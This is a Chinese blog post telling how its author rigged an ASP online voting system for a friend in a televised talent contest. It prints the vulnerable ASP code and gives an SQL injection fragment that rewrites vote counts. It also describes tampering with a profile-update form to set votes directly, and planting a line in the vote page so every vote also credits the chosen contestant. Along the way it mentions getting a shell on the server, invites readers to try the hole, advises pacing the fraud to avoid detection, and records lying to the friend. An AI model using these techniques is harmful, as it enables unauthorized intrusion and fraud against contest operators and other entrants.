某投票系统bug,导致可以刷票刷人气

  • A+
所属分类:lcx

本文不针对某活动或网站,此ASP投票系统涉及很多网站活动使用。其核心代码是一样的,只是风格有些诧异。不希望大家批量搞站,但偶尔碰到了周边人参加活动的可以利用这个BUG试试。。。

同学参加某大型选秀(CCTV有参与)活动,每天Q上线就看到她发来连接让帮投票。一点点投不要太要命了。

随后观察此站,asp投票系统,对站外get、ip、以及时间做了限制。最后直接c段拿到shell,但这样不是长久之计(投票系统你不能直接加很多票数,管理会发现。shell估计不能保持长久)

下来程序看了下,上传点很多,拿shell不可实现,就看下注射啥的吧

在来看前台姓名编号搜索出发现了可含性注射。

t=Request("t")
key=Request("key")
Select case t
case "id":sql="Select * from xxx where sh=1 and id like '"&key&"' order by ps desc":msg="按照编号:"&key&"排序"
case "name":sql="Select * from xxx where sh=1 and name like '"&key&"' order by ps desc":msg="按照姓名:"&key&"排序"
case else

可以看到直接会导致注射

"' and........update xxxx set ps=8888 where id=888 ''"等,结束前面注释后面语句。

再来看选手修改页面后提交更新程序:

If Trim(Request.Form("ValidCode"))=Empty Or Trim(Session("cnbruce.com_ValidateCode"))Trim(Request.Form("ValidCode")) Then
        Response.write("")
        Response.end()
End if

sql="Select * from xxx where id="&Session("id")
Set rs=Server.CreateObject("ADODB.Recordset")
rs.Open sql,conn,1,3
putallrs(rs)  //我也很惊讶,这个问题大家可以看看我之前的主题,和某积分返点系统类似
rs("video")=Request.Form("video")
rs.Update
rs.Close

看到上面这段代码很兴奋。会员信息,包括人气值和票数都在同一表。而且上面这辍代码没过滤。

再次本地化表单,投票页面vote_do.asp做了防止外部提交,但选手修改页面这里没有。网页右键查看源码,去掉乱七八糟的,两行input,人气和票数

提交成功!(为了截此图,特意上了下QQ,涂的不好看当然不露点)


*验证码:

   某投票系统bug,导致可以刷票刷人气某投票系统bug,导致可以刷票刷人气    看不清楚?
    

直接加票上去。不知道刷票&……%公司是不是这样加的(需要选手登陆)?

但每次票数不能加太多,还要保持稳定增加,别今天涨到800票了,两天后还是800票没变,管理会起疑心。。

于是我邪恶的在投票页面加了

sql="update xxxx set ps=ps+1 where id=888
conn.execute(sql)

给任何人投票都会给我指定的人加一票,这样稳定了吧。

对了,同学发现她的票飚的很不错,问我怎么投的,我说加了上百个QQ旺旺群发啊,求人家帮忙投票。。女同学激动的就差以身相许了。年假了回老家碰面。。。。

结束!

文章来源于lcx.cc:某投票系统bug,导致可以刷票刷人气

相关推荐: 用 js 实现本地 md4、md5、sha1 加密表单并提交

js md4、md5、sha1 加密算法文件下载地址:md5.js、md4.js、sha1.js 使用MD5加密的方法: 下载md5.js文件,在网页中引用该文件: 在你需要使用MD5加密的地方如此调用: 其他两个算法类似。 用javascript加密的好处是…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: